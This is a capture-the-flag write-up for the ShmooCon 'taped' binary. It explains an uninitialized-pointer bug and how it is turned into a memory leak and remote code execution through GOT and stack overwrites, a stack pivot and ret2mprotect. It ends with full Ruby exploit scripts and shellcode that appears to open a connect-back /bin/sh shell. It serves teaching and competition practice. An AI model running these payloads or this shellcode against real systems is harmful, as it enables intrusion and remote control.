Just got back from ShmooCon and it seems that some people want a writeup for the taped challenge. I highly encourage you to try it yourself first, because once you see the bug, it takes away some of the fun.

Download taped

Finding the bug

Let’s get the basics out of the way: x86 ELF binary that runs on Linux. So, the bug we need is really small. It took me about two hours to find the bug, and it was only after I determined there were no other bugs that I found it. As such, there is no way to explain how to find the bug, but what I will do instead is give a couple hints, and then just tell you where it.

  1. Not a buffer overflow, not a format-string vulnerability.
  2. It is around the code that is used to choose a tape.
  3. It is in the function 0x08048F9F.
  4. Look at the code that handles the “previous page” command.
  5. The local variable that contains the previous page pointer is not initialized.

Okay, so now we see the bug: local variable not initialized. If you want to convince yourself of this, go to the choose tape screen and get to page 5. Now exit out of the choose tape screen, and then go back. You should be at page 1, as expected. Use the previous page command, p, and you should now be at page 4. Yay!

Exploiting the bug (information disclosure)

The goal now is to control the previous page pointer so that after we give the previous page command at the tape choose screen, our pointer is used as the current page pointer.

There is only one place where we can send taped lots of data: set intro text command. This allows us to put 255 bytes on the stack. Now, are we going to be lucky enough for those bytes to not be overwritten before we get to the tape chooser?

If you try to go from the “set intro text” screen, exit out of the “queue management” screen, and then “choose active tape”, the applicable bytes will be overwritten. To be exact, they are overwritten in the “queue management” screen. There is another path though: “set intro text” screen -> “queue management” screen -> “add to queue” command -> “tape chooser” screen. Test this by sending 255 0x41s, and the program will crash trying to dereference 0x41.

We now need to figure out a page pointer that points to a buffer we control. This will allow us to setup a valid page structure that points to our “tapes.” Quickly, let’s detail the structure of both pages and tapes.

1
2
3
4
5
6
7
8
9
10
11
12
13
struct page
{
  int id;
  int number_of_tapes;
  struct tape *tapes[];
};

struct tape
{
  int id;
  char *name;
  char intro_text[256];
};

Looking at the code in 0x0804F62, we can see that number_of_tapes must be between 0 and 8, inclusive. Obviously, any pointers must point to valid memory.

At this point, it is obvious that we can do information disclosure using a custom name pointer. To do this, we need to construct a page structure and a tape structure. By using the intro text of a tape as our buffer, we will know the address of our custom structures. For simplicity, we will use the intro text of tape 1. The problem here is that the intro text buffer is filled using strcpy, but our structure will need multiple null bytes (e.g. number_of_tapes). The solution is to set the intro text multiple times, once for each null byte. For example, here is a payload that will print out address 0x0804b01c (the line is broken up to ease viewing):

1
2
3
4
5
6
7
8
9
10
3\n1\n1\n1\n2\n
3\n1\n\x41\x41\x41\x41\x1c\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\xFF\xc8\xb0\x04\x083\n
3\n1\n\x41\x41\x41\x41\x1c\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\x00\n
3\n1\n\x41\x41\x41\x41\x1c\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\x00\n
3\n1\n\x41\x41\x41\x41\x1c\xb0\x04\x08\x01\xFF\xFF\xFF\x01\x00\n
3\n1\n\x41\x41\x41\x41\x1c\xb0\x04\x08\x01\xFF\xFF\x00\n
3\n1\n\x41\x41\x41\x41\x1c\xb0\x04\x08\x01\xFF\x00\n
3\n1\n\x41\x41\x41\x41\x1c\xb0\x04\x08\x01\x00\n
3\n2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB\xd0\xb0\x04\x08\n1\np\n

In the example, tape 1 is used to store the custom structures and tape 2 is used to setup the stack bytes. The address was chosen because it will contain the address of __libc_start_main, which will allow us to bypass library address randomization.

Exploiting the bug (code execution)

The next step is to turn this into a remote code execution vulnerability. Recall that the only way for us to give the program a reasonable amount of data, is from the “set intro text” screen. Also, recall that the intro text is stored inside of the tape structure. Now, since we control a page structure, we also control a list of pointers to tape structures. And since we are doing this from inside of the “add to queue” command, we can add an arbitrary address to the list of queued tapes. We pass the index of our tape in the queue to the “set intro text” command, and we can overwrite arbitrary memory provided that it contains a valid pointer for the name pointer.

Given that we can write to an arbitrary address, the natural target is the GOT. I attempted to overwrite the strcpy address, and while this will work, I knew it wasn’t sufficient due to NX bit. I needed a stack pivot to make this work. I was unable to quickly find a stack pivot that would work, so I tried something else.

I still wanted to do a stack pivot, since my preferred method to get around NX bit is to ret2mprotect. The only way to do this, though, required me to construct a custom stack. Kind of a chicken-and-egg problem. But, nothing stops our arbitrary memory write from writing to the stack, except for stack randomization. So, let’s assume we know the location of the stack and overwrite the stack. At this point, we can return to a ‘pop ebp; ret’ and then to a ‘leave; ret’, and we have a stack pivot.

The obvious question at this point is why would we use a stack pivot when we can already write to a stack. Remember that when our arbitrary write vulnerability will use a strcpy, which means that our new stack can’t have null bytes. This is unreasonable. And, given that we know the location of the stack, we will know the location of the stack buffer that contains all 255 bytes we send to the program, including null bytes.

The new stack will look something like:

1
[mprotect] [shellcode address] [mprotect arg1] [mprotect arg2] [mprotect arg3]

The location of the shellcode doesn’t matter too much. It can be after the new stack, or it can be inside the intro text of a tape. It really doesn’t matter. As long as you know where it is located at run-time.

Below is the applicable ruby code for overwriting the stack, doing a stack pivot, etc. Again, breaks are inserted to ease readability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
t = TCPSocket.new(host, port)
t.print "3\n1\n1\n1\n2\n1\n3\n3\n3\n"+shellcode+"\n"
t.print "3\n1\n\x41\x41\x41\x41\x78\x99\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\xFF"+return_addr+"\n"
t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\x00\n"
t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\x00\n"
t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\x00\n"
t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\x00\n"
t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\x00\n"
t.print "3\n1\n\x41\x41\x41\x41\x1c\xb0\x04\x08\x01\x00\n"
t.print "3\n2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB\xd0\xb0\x04\x08\n"
t.print "1\np\n10\n"
t.print "3\n4\n\xa8\x98\x04\x08"+buffer_addr+"\xac\x94\x04\x08DDDDEEEE"+mprotect+"\xd8\xb2\x04\x08\x00\xb0\x04\x08\x00\x10\x00\x00\x07\x00\x00\x00\n"
sleep 2
t.close

The basic overview of the above code: put shellcode in intro text, create custom page structure, setup stack with pointer to page structure, add return_addr pointer to the queue, and finally overwrite the stack by setting intro text.

Yay, we are done! …Except the small details of the mprotect, return_addr, and buffer_addr. The mprotect address is easy to find using the information disclosure example above. The return_addr and buffer_addr are a constant offset from each other, so once we find one, we have the other, but how do we find the location of the stack?

Finishing it up

So, how do we find the location of the stack without brute-forcing 16 or so bits of randomization?

A bit of full disclosure: ~there is likely a much better method, hopefully somebody else will write it up.~ After doing this write-up, I decided to find a better method and found one. However, before I post it, I want to see what ideas other people have.

Trivia question: where is there a pointer, to the stack, in the libc address space?

After dumping the memory of the taped process, and searching a stack address, I found the answer. There is the ‘program_invocation_name’ which will point to argv[0] (environ might work just as well). Okay, cool. We now know about where the stack is.

However, on Linux, there is also some randomization between the program’s arguments (and environment variables) and the rest of the stack. To be precise, there is at most 8192 bytes inserted after the arguments and it is 16-byte aligned. This greatly reduces our need to brute-force.

Since we can read arbitrary memory using the information disclosure and we know where the program’s arguments are, we can start reading at ‘program_invocation_name’ and read every integer until we reach a return address of our choosing. In my example, I will use 0x08049809, since it doesn’t contain null bytes and is not in a library. The example is slightly optimized (it doesn’t read every integer).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
count = 0
ret = 0
stack = program_name & 0xffffff00;
stack += 0xc;
until ret == 0x08049809
 stack -= 0x10
 t = TCPSocket.new(host, port)
 t.print "3\n1\n1\n1\n2\n"
 t.print "3\n1\n\x41\x41\x41\x41\x78\x99\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\xFF\xc8\xb0\x04\x08\n"
 t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\x00\n"
 t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\x00\n"
 t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\x00\n"
 t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\x00\n"
 t.print "3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\x00\n"
 t.print "3\n1\n\x41\x41\x41\x41"+[stack].pack("L")+"\x01\x00\n"
 t.print "3\n2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB\xd0\xb0\x04\x08\n"
 t.print "1\np\n"
 ret = (t.read 0xfaf)[-4,4].unpack("L")[0]
 t.close
 count += 1
end

I am going to gloss over how to find the address of mprotect. I used the same method as previously: ssh to find distribution, download libc package, find address of something exported by libc using information disclosure, and then use the downloaded libc to find that same thing and then mprotect.

At this point, we are done. Things can probably be optimized a bit. I don’t really like the way that I get the stack address. And I believe that the stack pivot can be done without needing to know the stack address.

Below is the complete ruby script that I wrote (for Debian). In the competition it didn’t work perfectly since the address of __libc_start_main contained a null byte, but that is easily fixed and probably is an issue only on Ubuntu.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/ruby

require 'socket'

host = "localhost"
port = 4240

t = TCPSocket.new(host, port)
t.print "3\n1\n1\n1\n2\n3\n1\n\x41\x41\x41\x41\x78\x99\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\xFF\xc8\xb0\x04\x083\n3\n1\n\x41\x
41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\x0
0\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\x00\n3\
n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\x00\n3\n1\n\x41\x41\x41\x41"+"\x1c\xb0\x04\x08"+"\x01\x00\n3\n2\nAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB\xd0\xb0
\x04\x08\n1\np\n"
libc_start_main = (t.read 0xfaf)[-4,4].unpack("L")[0]
print libc_start_main.to_s(16),"\n"
t.close

program_name_ptr = [(libc_start_main+0x138018)].pack("L") # 0x138018 is dependent on libc

t = TCPSocket.new(host, port)
t.print "3\n1\n1\n1\n2\n3\n1\n\x41\x41\x41\x41\x78\x99\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\xFF\xc8\xb0\x04\x083\n3\n1\n\x41\x
41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\x0
0\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\x00\n3\
n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\x00\n3\n1\n\x41\x41\x41\x41"+program_name_ptr+"\x01\x00\n3\n2\nAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB\xd0\xb0\x
04\x08\n1\np\n"
program_name = (t.read 0xfaf)[-4,4].unpack("L")[0]
print program_name.to_s(16),"\n"
t.close

count = 0
ret = 0
stack = program_name & 0xffffff00;
stack += 0xc;
until ret == 0x08049809
 stack -= 0x10
 t = TCPSocket.new(host, port)
 t.print "3\n1\n1\n1\n2\n3\n1\n\x41\x41\x41\x41\x78\x99\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\xFF\xc8\xb0\x04\x083\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\x00\n3\n1\n\x41\x41\x41\x41"+[stack].pack("L")+"\x01\x00\n3\n2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB\xd0\xb0\x04\x08\n1\np\n"
 ret = (t.read 0xfaf)[-4,4].unpack("L")[0]
 t.close
 count += 1
end

print stack.to_s(16), " in ", count.to_s, " tries.\n";
sleep 1

shellcode = "\x31\xc0\x6a\x01\x5b\x50\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x43\x5f\x68\x7e\xff\xfe\xff\x81\x04\x24\x01\x01\x01\x01\x68\x01\xff\x06\xad\x81\x04\x24\x01\x01\x01\x01\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xeb\xfe";

return_addr = [(stack-0x70-0x8)].pack("L")
buffer_addr = [(stack-0x184+0x10)].pack("L")
mprotect = [(libc_start_main+0xC3978)].pack("L") # 0xC3978 is dependent on libc

t = TCPSocket.new(host, port)
t.print "3\n1\n1\n1\n2\n1\n3\n3\n3\n"+shellcode+"\n3\n1\n\x41\x41\x41\x41\x78\x99\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\xFF"+return_addr+"3\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\xFF\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\xFF\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\xFF\x01\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\xFF\x00\n3\n1\n\x41\x41\x41\x41\xa0\xb0\x04\x08\x01\xFF\x00\n3\n1\n\x41\x41\x41\x41\x1c\xb0\x04\x08\x01\x00\n3\n2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB\xd0\xb0\x04\x08\n1\np\n10\n3\n4\n\xa8\x98\x04\x08"+buffer_addr+"\xac\x94\x04\x08DDDDEEEE"+mprotect+"\xd8\xb2\x04\x08\x00\xb0\x04\x08\x00\x10\x00\x00\x07\x00\x00\x00\n"
sleep 2
t.close